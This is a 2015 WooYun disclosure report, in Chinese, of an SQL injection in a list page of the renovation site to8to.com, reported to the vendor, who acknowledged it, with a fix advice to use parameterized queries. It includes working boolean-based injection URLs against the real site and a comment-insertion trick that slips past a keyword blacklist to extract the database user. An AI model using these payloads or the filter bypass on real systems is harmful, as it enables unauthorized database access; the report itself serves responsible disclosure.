漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0130837
漏洞标题:土巴兔装修网某处SQL注入
相关厂商:土巴兔装修网
漏洞作者: hoopyoung
提交时间:2015-08-01 11:46
修复时间:2015-09-15 19:26
公开时间:2015-09-15 19:26
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-08-01: 细节已通知厂商并且等待厂商处理中
2015-08-01: 厂商已经确认,细节仅向厂商公开
2015-08-11: 细节向核心白帽子及相关领域专家公开
2015-08-21: 细节向普通白帽子公开
2015-08-31: 细节向实习白帽子公开
2015-09-15: 细节向公众公开
简要描述:
RT,SQL注入
详细说明:
存在漏洞的URL:http://www.to8to.com/yezhu/list.php?&btype=2&stype=1&s=2
应该是btype、stype、s参数都存在注入,s为order by注入 不太好用。就拿stype来试试
http://www.to8to.com/yezhu/list.php?&btype=2&stype=1 and 1=1&s=2
http://www.to8to.com/yezhu/list.php?&btype=2&stype=1 and 1=2&s=2
两次结果不一样,很可疑,偷懒放入Sqlmap跑一下,结果没跑出来。只好手工看看。
发现存在waf功能的东西,参数带有or,user(),xor,sleep()之类的就403了。
不过随手一试char(),没403,看来挺弱的,估计就是几个简单的黑名单。
用user/**/()就成了。。。
口算user()的第一位ascii码116
http://www.to8to.com/yezhu/list.php?&btype=2&stype=1 and 116=ord(lower(mid(user/**/(),1,1)))&s=2
漏洞证明:
修复方案:
不要拼接SQL语句,黑名单过滤不是很靠谱,还是改代码弄成参数化查询好。
版权声明:转载请注明来源 hoopyoung@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2015-08-01 19:24
厂商回复:
谢谢提醒
最新状态:
暂无